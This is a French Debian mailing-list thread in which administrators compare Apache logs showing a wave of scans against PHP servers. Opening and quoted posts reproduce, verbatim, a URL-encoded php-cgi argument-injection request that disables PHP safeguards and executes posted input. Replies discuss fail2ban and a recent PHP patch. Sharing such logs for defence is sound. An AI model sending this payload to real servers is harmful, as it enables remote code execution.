Logo GNT
Actualités Tests & Guides Bons Plans
Twitter iPhone pliant OnePlus 11 PS5 Disney+ Orange Livebox Windows 11
Entraide Linux Autres OS Linux Debian Attaques en tout genre

Attaques en tout genre

35 réponses
Avatar
steve
Salut,

C'est seulement chez moi, ou on observe une recrudescence d'attaque
de script kiddie ? Exemples tiré du syslog:

31.210.106.39 - - [16/Dec/2013:19:34:30 +0100] "POST
//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F70%72%65%70%65%6E%64
%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 799
"-" "-"
89.136.120.205 - - [16/Dec/2013:19:59:06 +0100] "POST
//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64
%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 799 "-" "-"

[Mon Dec 16 19:34:30 2013] [error] [client 31.210.106.39] malformed header from script. Bad header=<b>Security Alert!</b> The PHP: php
[Mon Dec 16 19:59:06 2013] [error] [client 89.136.120.205] malformed header from script. Bad header=<b>Security Alert!</b> The PHP: php

Depuis un mois ou deux ça n'arrête pas. Pareil chez vous? (j'adore le
« Security Alert » )

Bien à vous

s.

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers debian-user-french-REQUEST@lists.debian.org
En cas de soucis, contactez EN ANGLAIS listmaster@lists.debian.org
Archive: http://lists.debian.org/20131216194222.GA1033@localhost
Signaler un problème avec ce contenu

10 réponses

Supprimer
Cette action est irreversible, confirmez la suppression du commentaire ?
Signaler le commentaire

Veuillez sélectionner un problème

Nudité
Violence
Harcèlement
Fraude
Vente illégale
Discours haineux
Terrorisme
Autre
1 2 3 4
Avatar
Yves Rutschle
On Mon, Dec 16, 2013 at 08:42:22PM +0100, steve wrote:
C'est seulement chez moi, ou on observe une recrudescence d'attaque
de script kiddie ?



Rien d'évident chez moi.

[Mon Dec 16 19:34:30 2013] [error] [client 31.210.106.39] malformed header from script. Bad header=<b>Security Alert!</b> The PHP: php



Pas de PHP chez moi, mais en général ça n'arrête pas nos
hooligans du net...

Y.

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
steve
Le 16-12-2013, à 21:23:59 +0100, Bzzz a écrit :

On Mon, 16 Dec 2013 20:42:22 +0100
steve wrote:



No, I didn't anything like that...:)

Rien chez moi, mais bon, c'est réellement "chez moi"
(auto-hébergement s/ ADSL).



T'as un « chez-toi » en dehors du monde ? (je peux venir ?)

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
Bzzz
On Mon, 16 Dec 2013 20:42:22 +0100
steve wrote:

Rien chez moi, mais bon, c'est réellement "chez moi"
(auto-hébergement s/ ADSL).

--
[Toufou] je sais enfin pkoi les intégristes barbus d'unix
utilisent la ligne de commande
[Toufou] je viens de coincer ma molette de souris avec un poil de barbe

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
steve
Le 16-12-2013, à 21:01:30 +0100, Yves Rutschle a écrit :

On Mon, Dec 16, 2013 at 08:42:22PM +0100, steve wrote:
> C'est seulement chez moi, ou on observe une recrudescence d'attaque
> de script kiddie ?

Rien d'évident chez moi.



Étonnant.

> [Mon Dec 16 19:34:30 2013] [error] [client 31.210.106.39] malformed header from script. Bad header=<b>Security Alert!</b> The PHP: php

Pas de PHP chez moi, mais en général ça n'arrête pas nos
hooligans du net...



Hors sujet, si j'ose. A priori, personne ne sait que j'ai du PHP chez
moi (et d'ailleurs, j'en ai pas).

D'autres retours ?

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
Bzzz
On Mon, 16 Dec 2013 21:27:57 +0100
steve wrote:

T'as un « chez-toi » en dehors du monde ?



Nan, je pensais à la différence entre gros hébergeur pro
et @home; en Gal, l'hébergeur est plus attaqué parce que
le rapport effort/résultat est plus juteux.

(je peux venir ?)



Tout dépend, si tu es une fille de moins de 40 ans, 85/55/80,
mignonne et un peu vicieuse, alors ça peut s'envisager.

--
<Sheer> G-Lo, tu l'as trouvée ou ta femme?
<G-Lo> Sheer: en boite
<Bastos> tu l'as monté toi même ?

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
nb
Salut,

J'ai à peu près la même chose, avec les mêmes ip source.

/var/log/apache2/error.log:[Sun Dec 15 13:05:38.268946 2013] [cgi:error]
[pid 19838] [client 195.130.72.189:34087] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 13:05:38.628728 2013] [cgi:error]
[pid 18940] [client 195.130.72.189:35033] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 13:53:34.086379 2013] [cgi:error]
[pid 24695] [client 80.244.246.158:44574] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 13:53:34.437323 2013] [cgi:error]
[pid 24895] [client 80.244.246.158:45476] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 14:35:51.748545 2013] [cgi:error]
[pid 27266] [client 31.210.106.39:38390] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 17:06:15.883377 2013] [cgi:error]
[pid 31592] [client 89.136.120.205:53089] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 19:29:42.699559 2013] [cgi:error]
[pid 6912] [client 83.133.121.137:51331] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 19:29:42.971170 2013] [cgi:error]
[pid 5822] [client 83.133.121.137:51534] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 20:05:29.604037 2013] [cgi:error]
[pid 1871] [client 31.210.106.39:57802] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Sun Dec 15 20:46:07.386942 2013] [cgi:error]
[pid 7300] [client 89.136.120.205:42587] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 01:28:23.692750 2013] [cgi:error]
[pid 25304] [client 31.210.106.39:50506] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 02:15:23.920433 2013] [cgi:error]
[pid 27856] [client 192.151.144.234:58451] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 04:21:44.403874 2013] [cgi:error]
[pid 26901] [client 145.253.104.26:43509] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 04:21:44.783903 2013] [cgi:error]
[pid 539] [client 145.253.104.26:43583] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 06:02:58.047316 2013] [cgi:error]
[pid 4744] [client 80.71.144.17:42792] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 06:02:58.330548 2013] [cgi:error]
[pid 3503] [client 80.71.144.17:43060] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 06:40:02.190309 2013] [cgi:error]
[pid 4347] [client 200.169.96.156:33817] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 06:40:03.253228 2013] [cgi:error]
[pid 8101] [client 200.169.96.156:35201] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 07:01:01.632287 2013] [cgi:error]
[pid 14149] [client 50.19.90.54:38714] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 07:01:02.245742 2013] [cgi:error]
[pid 925] [client 50.19.90.54:39560] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 07:09:00.085414 2013] [cgi:error]
[pid 3314] [client 202.40.204.90:41119] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 07:09:00.827032 2013] [cgi:error]
[pid 4744] [client 202.40.204.90:41606] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 08:00:20.226895 2013] [cgi:error]
[pid 16910] [client 54.227.165.245:44524] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 08:00:20.601609 2013] [cgi:error]
[pid 17326] [client 54.227.165.245:44767] malformed header from script
'php5': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 08:21:12.052637 2013] [cgi:error]
[pid 16504] [client 31.210.106.39:58493] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 11:34:15.867450 2013] [cgi:error]
[pid 27721] [client 89.136.120.205:48067] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 12:01:06.601616 2013] [cgi:error]
[pid 29183] [client 31.210.106.39:49483] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 13:12:30.986322 2013] [cgi:error]
[pid 351] [client 31.210.106.39:40039] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 14:46:11.451739 2013] [cgi:error]
[pid 5322] [client 31.210.106.39:58862] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 15:22:02.865478 2013] [cgi:error]
[pid 7507] [client 192.151.144.234:54280] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 16:43:55.382851 2013] [cgi:error]
[pid 12314] [client 89.136.120.205:38306] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 18:25:06.895401 2013] [cgi:error]
[pid 16838] [client 31.210.106.39:49952] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 19:09:42.143786 2013] [cgi:error]
[pid 2100] [client 31.210.106.39:43191] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 19:19:04.005310 2013] [cgi:error]
[pid 4504] [client 192.151.144.234:36569] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 21:34:27.015624 2013] [cgi:error]
[pid 10971] [client 31.210.106.39:35708] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP
/var/log/apache2/error.log:[Mon Dec 16 21:37:01.277671 2013] [cgi:error]
[pid 10968] [client 89.136.120.205:53827] malformed header from script
'php': Bad header: <b>Security Alert!</b> The PHP


Le 16-12-2013 20:42, steve a écrit :
Salut,

C'est seulement chez moi, ou on observe une recrudescence d'attaque
de script kiddie ? Exemples tiré du syslog:

31.210.106.39 - - [16/Dec/2013:19:34:30 +0100] "POST
//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F70%72%65%70%65%6E%64
%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1"
500 799
"-" "-"
89.136.120.205 - - [16/Dec/2013:19:59:06 +0100] "POST
//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64
%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1"
500 799 "-" "-"

[Mon Dec 16 19:34:30 2013] [error] [client 31.210.106.39] malformed
header from script. Bad header=<b>Security Alert!</b> The PHP: php
[Mon Dec 16 19:59:06 2013] [error] [client 89.136.120.205] malformed
header from script. Bad header=<b>Security Alert!</b> The PHP: php

Depuis un mois ou deux ça n'arrête pas. Pareil chez vous? (j'adore le
« Security Alert » )

Bien à vous

s.



--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
Sylvain L. Sauvage
Le lundi 16 décembre 2013 21:23:59 Bzzz a écrit :
On Mon, 16 Dec 2013 20:42:22 +0100
steve wrote:

Rien chez moi, mais bon, c'est réellement "chez moi"
(auto-hébergement s/ ADSL).



« Chez moi », je n’ai que le 443 d’ouvert m ais ça n’empêche
pas les script-kiddies ou les bots de taper dedans (3–4 GET par
jour).

--
Sylvain Sauvage

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
Bzzz
On Mon, 16 Dec 2013 21:50:09 +0100
steve wrote:

Wai, ben justement, si je poste, c'est que j'observe que ce
n'est pas le cas. Au moment même où j'écris, les attaques
continuent. Sinon, je ne posterais pas.



?
En tout cas, ça devrait pouvoir s'arrêter relativement
facilement avec un filtre du genre fail2ban, non?

--
Bloody_Shark : je suis le messi
TheAce : messie ça s'ecrit pas comme ça imbecile
Bloody_Shark : mais si!!!
TheAce : ni comme ça

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
steve
Le 16-12-2013, à 21:40:02 +0100, Bzzz a écrit :

On Mon, 16 Dec 2013 21:27:57 +0100
steve wrote:

> T'as un « chez-toi » en dehors du monde ?

Nan, je pensais à la différence entre gros hébergeur pro
et @home; en Gal, l'hébergeur est plus attaqué parce que
le rapport effort/résultat est plus juteux.



Wai, ben justement, si je poste, c'est que j'observe que ce n'est pas
le cas. Au moment même où j'écris, les attaques continuent. Sinon, je ne
posterais pas.

> (je peux venir ?)

Tout dépend, si tu es une fille de moins de 40 ans, 85/55/80,
mignonne et un peu vicieuse, alors ça peut s'envisager.



Merde, moi qui cherchait un gros macho, suis déçu...

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
Avatar
Bzzz
On Mon, 16 Dec 2013 22:00:50 +0100
steve wrote:

Fail2ban ne va pas arrêter cela, il va simplement éviter que les
logs s'alourdissent. Mais je m'en tape finalement. Entre les
lignes, je me demandais s'il n'existait pas un zero-day qui traîne
dans la nature, ce qui *pourrait* expliquer cette
recrudescence..You know ?



Il y a eu une MàJ de sécurité de PHP dans les derniers jours,
avec une publication chez full-disclosure; ceci explique
sans doute cela.

--
Nothing is better than Sex.
Masturbation is better than nothing.
Therefore, Masturbation is better than Sex.

--
Lisez la FAQ de la liste avant de poser une question :
http://wiki.debian.org/fr/FrenchLists

Pour vous DESABONNER, envoyez un message avec comme objet "unsubscribe"
vers
En cas de soucis, contactez EN ANGLAIS
Archive: http://lists.debian.org/
1 2 3 4